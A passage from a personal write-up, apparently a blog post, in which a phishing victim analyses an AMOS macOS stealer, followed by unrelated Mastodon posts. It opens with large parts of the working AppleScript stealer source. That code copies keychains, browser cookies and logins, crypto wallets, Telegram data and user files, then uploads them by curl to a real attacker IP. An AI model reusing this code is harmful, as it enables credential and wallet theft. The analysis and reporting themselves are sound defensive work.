"cpmkedoipcpimgecpmgpldfpohjplkpp", "cphhlgmgameodnhkjdmkpanlelnlohao", "copjnifcecdedocejpaapepagaodgpbh", "cnncmdhjacpkmjmkcafchppbnpnhdmon", "cnmamaachppnkjgnildpdmkaakejnhae", "cmndjbecilbocjfkibfbifhngkdmjgog", "ckklhkaabbmdjkahiaaplikpdddkenic", "cjmkndjhnagcfbpiemnkdpomccnjblmj", "cihmoadaighcejopammfbmddcmdekcje", "chgfefjpcobfbnpmiokfjjaglahmnded", "cgeeodpfagjceefieflmdfphplkenlfk", "cflgahhmjlmnjbikhakapcfkpbcmllam", "cfbfdhimifdmdehjmkdobpcjfefblkjm", "caljgklbbfbcjjanaijlacgncafpegll", "bopcbmipnjdcdfflfgjdgdjejmgpoaab", "bofddndhbegljegmpmnlbhcejofmjgbn", "bocpokimicclpaiekenaeelehdjllofo", "bmikpgodpkclnkgmnpphehdgcimmided", "bmabahhenimmnfijaiccmonalfhpcndh", "bkklifkecemccedpkhcebagjpehhabfb", "bkgplkpdgidlgmnlhdfakhcjfpfgjjkb", "bifidjkcdpgfnlbcjpdkdcnbiooooblg", "bhhhlbepdkbapadjdnnojkbgioiodbic", "bhghoamapcdpbohphigoooaddinpkbai", "bgpipimickeadkjlklgciifhnalhdjhe", "bgjogpoidejdemgoochpnkmdjpocgkha", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "bcopgchhojmggmffilplmbdicgaihlkp", "apnehcjmnengpnmccpaibjmhhoadaico", "anokgmphncpekkhclmingpimjmcooifb", "amkmjjmmflddogmhpjloimipbofnfjih", "algblmhagnobbnmakepomicmfljlbehg", "ajopcimklncnhjednieoejhkffdolemp", "ajkifnllfhikkjbjopkhmjoieikeihjb", "aijcbedoijmgnlmjeegjaglmepbmpkpi", "aiifbnbfobpmeekipheeijimdpnlpgpp", "aiaghdjafpiofpainifbgfgjfpclngoh", "aholpfdialjgjfhomihkjbmgjidlcdno", "ahidmapichficbkfglbhgmhjcojjmlnm", "agoakfejjabomempkjlepdflaleeobhb", "aflkmfhebedbjioipglgcbcmnbpgliof", "afbcbjpbpfadlkmhmclhkeeodmamcflc", "aeachknmefphepccionboohckonoeemg", "admmjipmmciaobhojoghlmleefbicajg", "acmacodkjbdgmoleebolmdjonilkdbch", "abogmiocnneedmmepnohnhlijcjpcifd", "abjfbanhppgiflmobebfffbijcfoeiao", "abamjefkidngfegdjbmffdmbgjgpaobf"} set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"} repeat with chromium in chromium_map set savePath to writemind & "Chromium/" & item 1 of chromium & "_" try set fileList to list folder item 2 of chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then repeat with CFile in chromiumFiles set readpath to (item 2 of chromium & currentItem & CFile) set profilepath to (item 2 of chromium & currentItem) if ((CFile as string) is equal to "/Network/Cookies") then set CFile to "/Cookies" end if if ((CFile as string) is equal to "/Local Extension Settings/") then grabPlugins(profilepath, readpath, savePath & currentItem, pluginList, false) else if (CFile as string) is equal to "/IndexedDB/" then grabPlugins(profilepath, readpath, savePath & currentItem, pluginList, true) else set writepath to savePath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeatend chromiumon telegram(writemind, library) try GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Data/") end tryend telegramon deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeatend deskwalletson filegrabber(writemind) try set destinationFolderPath to POSIX file (writemind & "FileGrabber/") mkdir(destinationFolderPath) set photosPath to POSIX file (writemind & "FileGrabber/NotesFiles/") mkdir(photosPath) set extensionsList to {"txt", "pdf", "docx", "wallet", "key", "keys", "doc", "json", "db"} set bankSize to 0 tell application "Finder" try set safariFolderPath to (path to home folder as text) & "Library:Cookies:" duplicate file (safariFolderPath & "Cookies.binarycookies") to folder destinationFolderPath with replacing set name of result to "saf1" end try try set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:") try duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:" set notesAccounts to folder (notesFolderPath & "Accounts:LocalAccount:Media") duplicate notesAccounts to photosPath with replacing duplicate notesAccounts to POSIX file photosPath as alias with replacing set notesFolder to folder notesFolderPath set notesFiles to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"} repeat with FileName in notesFiles set sourceFile to file FileName of notesFolder duplicate sourceFile to POSIX file destinationFolderPath as alias with replacing end repeat end try try set desktopFiles to every file of desktop set documentsFiles to every file of folder "Documents" of (path to home folder) set downloadsFiles to every file of folder "Downloads" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set filesize to size of aFile if filesize < 5 * 1024 * 1024 then if (bankSize + filesize) < 30 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + filesize end try else exit repeat end if end if end if end repeat end try end tell end tryend filegrabberon send_data(attempt) try set result_send to (do shell script "curl -X POST -H \"user: 5rBblkfNeMJp9zH6D7cXkzNcAuICXU6V5MCG5t-e4Ck=\" -H \"BuildID: h9owgx4D6J1-4JWYL6SUM0xNrPidvdqweFhGoCqSWXE=\" -H \"cl: 0\" -H \"cn: 0\" --max-time 300 \x14-retry 5 \x14-retry-delay 10 -F \"file=@/tmp/out.zip\" http://45.94.47.102/contact") on error if attempt < 40 then delay 30 send_data(attempt + 1) end if end tryend send_dataset username to (system attribute "USER")set profile to "/Users/" & usernameset randomNumber to do shell script "echo $((RANDOM % 9000 + 1000))"set writemind to "/tmp/" & randomNumber & "/"try set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType") writeText(result, writemind & "info")end tryset library to profile & "/Library/Application Support/"set password_entered to getpwd(username, writemind)delay 0.01set chromiumMap to {{"Chrome", library & "Google/Chrome/"}, {"Brave", library & "BraveSoftware/Brave-Browser/"}, {"Edge", library & "Microsoft Edge/"}, {"Vivaldi", library & "Vivaldi/"}, {"Opera", library & "com.operasoftware.Opera/"}, {"OperaGX", library & "com.operasoftware.OperaGX/"}, {"Chrome Beta", library & "Google/Chrome Beta/"}, {"Chrome Canary", library & "Google/Chrome Canary"}, {"Chromium", library & "Chromium/"}, {"Chrome Dev", library & "Google/Chrome Dev/"}, {"Arc", library & "Arc/"}, {"Coccoc", library & "Coccoc/"}}set walletMap to {{"deskwallets/Electrum", profile & "/.electrum/wallets/"}, {"deskwallets/Coinomi", library & "Coinomi/wallets/"}, {"deskwallets/Exodus", library & "Exodus/"}, {"deskwallets/Atomic", library & "atomic/Local Storage/leveldb/"}, {"deskwallets/Wasabi", profile & "/.walletwasabi/client/Wallets/"}, {"deskwallets/Ledger_Live", library & "Ledger Live/"}, {"deskwallets/Monero", profile & "/Monero/wallets/"}, {"deskwallets/Bitcoin_Core", library & "Bitcoin/wallets/"}, {"deskwallets/Litecoin_Core", library & "Litecoin/wallets/"}, {"deskwallets/Dash_Core", library & "DashCore/wallets/"}, {"deskwallets/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}, {"deskwallets/Electron_Cash", profile & "/.electron-cash/wallets/"}, {"deskwallets/Guarda", library & "Guarda/"}, {"deskwallets/Dogecoin_Core", library & "Dogecoin/wallets/"}, {"deskwallets/Trezor_Suite", library & "@trezor/suite-desktop/"}}readwrite(library & "Binance/app-store.json", writemind & "deskwallets/Binance/app-store.json")readwrite(library & "@tonkeeper/desktop/config.json", "deskwallets/TonKeeper/config.json")readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "keychain")if release then readwrite2(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "FileGrabber/NoteStore.sqlite") readwrite2(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "FileGrabber/NoteStore.sqlite-wal") readwrite2(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "FileGrabber/NoteStore.sqlite-shm") readwrite2(profile & "/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/Cookies.binarycookies") readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/saf1")end ifif filegrabbers then filegrabber(writemind)end ifwriteText(username, writemind & "username")set ff_paths to {library & "Firefox/Profiles/", library & "Waterfox/Profiles/", library & "Pale Moon/Profiles/"}repeat with firefox in ff_paths try parseFF(firefox, writemind) end tryend repeatchromium(writemind, chromiumMap)deskwallets(writemind, walletMap)telegram(writemind, library)do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/out.zip"send_data(0)replaceApp(profile, password_entered)do shell script "rm -r " & writeminddo shell script "rm /tmp/out.zip"

So here I can see what it does, in details.

Basically:
– it creates a folder /tmp/<randomname>
– it asks the user for its password, using a popup and copies it in /tmp/<randomname>
– it copies a lot of stuff  to /tmp/<randomname> :

    the keychain
    the cookies of all browsers (Brave, Safari, Chrome, etc..)
    browser plugins data of a long list of plugins
    the notes
    crypto wallets data
    telegram data
    all .txt .doc .pdf etc.. files inside the home, desktop and downloads folders (with some limits in size).
    the username
    data about the computer configuration
    etc..

– it zips this /tmp/<randomname> folder to a zip file, and sends it using a curl POST call, to a server online, specifying the userID and the malwareID. The server url is in clear in the script (#malicious): hxxp://45.94.47.102/contact
– it also looks for the application “/Applications/Ledger Live.app”, and if it finds it, it replaces it by an app downloaded from internet, from (#malicious): hxxps://gknkargo.com/zxc/app.zip
– it then removes all its temporary files and exits.

There are many other things we can learn from this script, which is quite brutal and simple, like which browsers, which plugins, which wallets are targeted. There are some questions remaining open for me too: how do they use and what information do they get from the cookies, the browser data, telegram, etc..

But my first concern was : what did it change on my disk and what did it take exactly ?

I do not have Legder Live, and it does not install anything else than the Ledger copy on the drive (if Ledger is there). So I am relieved : I can trust my computer, nothing has been installed on my disk, there is no malware running any more.

I also understand that I was right to block my credit cards, since their numbers (and even their CVC) are stored in my browser data. I was also right to change all my passwords of online services, since they are all stored in my keychain.

But I know that I have this .txt file in a disk image that is mounted on my desktop, which contains even more data than my keychain, like my passport numbers, credentials for my health insurance, passwords for my daughter’s web sites, recovery phrases for my (empty) crypto wallets, etc.. If the malware recursively copies all files that are on the desktop, it may have copied this file too. I must know what it copied exactly.

So I take even more risks: I decide to run the malware script myself!

But first I comment out the lines that send the zip file to the server and that delete the /tmp file.

 

 

Then I copy and paste the script into the Script Editor, and I run it.

Wooosh…

It does exactly as expected, and I can examine what it has copied in the tmp folder :

We can see the username and the password file, as well as the keychain data, and the browsers data inside the Chromium folder. Inside the FileGrabber, we can see that files that it has copied.

And we can see that it has copied very few files. Indeed, the function that copies the files is rather simple and does not analyse the folders recursively, it just copies the file at the first level of the Desktop, the home Documents folder and the home Downloads folder. So for me it is just copied two innocuous pdf files of art projects. Good for him ! And it did not copy my precious txt file!

The anti-virus community and the hacker market

At that point I was relieved and quite proud to have dissected this malware down to its inner script. I searched the internet to see if I could find some information about it, and also if I could report it to contribute to the fight against malware and viruses. I also wanted a non-commercial initiative. The internet is full of commercial companies trying to sell you software to secure or clean your Mac. I am a strong advocate of free software and non-commercial decentralized initiatives. After a few searches I found the lovely objective-see.org site, which provides free tools to protect and analyze your macOS system.

I asked for advices, and Patrick Wardle, who founded objective-see and does a lot of research and publications on the subject kindly advised me to report my malware to the mighty virustotal.com website.

This website allows you to upload your malware and have it automatically analyzed against a huge database of malwares that are constantly updated. Also it actually runs the malware inside virtual machines (sandboxes) to analyse what it actually does. So I uploaded my “.Installer” file, and instantly all sorts of red flags appeared :

So my malware is some variation of the infamous malware called AMOS, for Atomic macOS Stealer. It is a very active and quite simple brute force malware mainly intended to steal informations. Patrick Wardle wrote a paper on it, describing its main inner workings. It is a well studied malware, with many variations.

The virustotal web site also automatically ran the malware inside sandboxes (virtual machines), but this actually did not produce any result. This is probably because the malware detected that it was running inside virtual machines, as we saw above, and just existed without doing any detectable harm. Here is the link to the analysis of the malware, which is public.

One interesting thing is that when I redid the above operation one week after the phishing, in order to write this article and take snapshots, “Binary Ninja” failed to run the “.Installer” file in the debugger. I immediately received a system alert saying that this was a malware and that it would be prevented to run and be put in the Trash. After investigation, it seems that there is a system process called XProtect, that is part of the System Integrity Protection on Apple computers that was introduced in OS X El Capitan. This XProtect contains a list of malware signatures that are updated daily, and it analyses all executable launched on the system against these signatures. So it seems that XProtect has been updated to include the signature of my particular malware in the period between last week and today, because it did not catch it last week but it did this week, maybe thanks to my upload to virustotal.com! So I contributed to the fight eventually! I temporarily disabled XProtect in order to be able to run the malware again, just to make screenshots for this article.

Another interesting thing is that when it sends the stolen data to the server, it includes a user ID : “user: 5rBblkfNeMJp9zH6D7cXkzNcAuICXU6V5MCG5t-e4Ck=”. This is clearly a way for the hacker to get paid. Indeed, as we can see in this article, there is a whole business going on. Some hacker creates the malware and then they sell it, or actually rent it (for 3000€/month !) to users. These users (like my “journalist”) activate the malware by phishing some victim (like me), and then they sell the stolen data on a market for passwords and credit card numbers. They sign their stolen data with their user ID so that they can get paid when someone buys it.

Conclusion

This is the whole story, and I am still shaken by the breach of trust. For a few days, I became a little paranoïd, fearing that even my best friends or my partner would actually turn out to be villains and attack me. I feel better now. I still keep an eye on anything that could look suspicious relating to my online presence, failed logins, strange messages, etc.. Nothing fishy has happened so far.

In the end, it was quite a constructive endeavour:

I renewed all my passwords, which is always good to do
I reported a phishing site, which is now gone
I contributed to the fight against malware by providing the binary to virustotal. I may have helped XProtect protect others from this malware
I dissected the malware and learned a lot on how these programs work, I understand that they are quite simple and brutal programs
I found out that this malware had not done anything worse than stealing by numbers, which relieved me as nothing was hidden on my Mac
I learned that there is a whole ecosystem of hackers, mixing very good social skill, brutal and simple hacking skills, and greed
I learned that there is a whole community of people fighting these malware and their authors

I am still appalled to realize that there are people out there who get a kick out of stealing some money from other people barely richer than them, or even poorer, while there are so many things to construct on this earth, so much good to be done. This is so sad. I guess that it is pure capitalism at its core : selfishness and greed. Yes, and yet, I remain naive and optimistic. And I dream of a world where these skills are not directed against the people but are aimed at a better world for all.

New Research Software Engineer position in our group at the Institute of Computing for Climate Science, University of Cambridge: jobs.cam.ac.uk/job/49512/

#RSE #RSEng #climatescience #jobs #hiring

Incredible (but predictable) : #Microsoft has blocked the International Criminal Court's access (#ICC) to its services on the orders of the #Trump mafia.

Read that carefully : an international organisation that has no presence in the United States and no US legal rights has had its work tools blocked simply because it disagrees with the Trump administration. 🚩

Get the hell out of it right now.

apnews.com/article/icc-trump-s

#Facism #Autocraty #Criminal #BigTech

Happy US book release day to me, my amazing co-author @alex and everyone else who can now open up their own copy!!

All the details on ordering, events, and news coverage at thecon.ai

dair-community.social/deck/@em

Show older
Qoto Mastodon

QOTO: Question Others to Teach Ourselves
An inclusive, Academic Freedom, instance
All cultures welcome.
Hate speech and harassment strictly forbidden.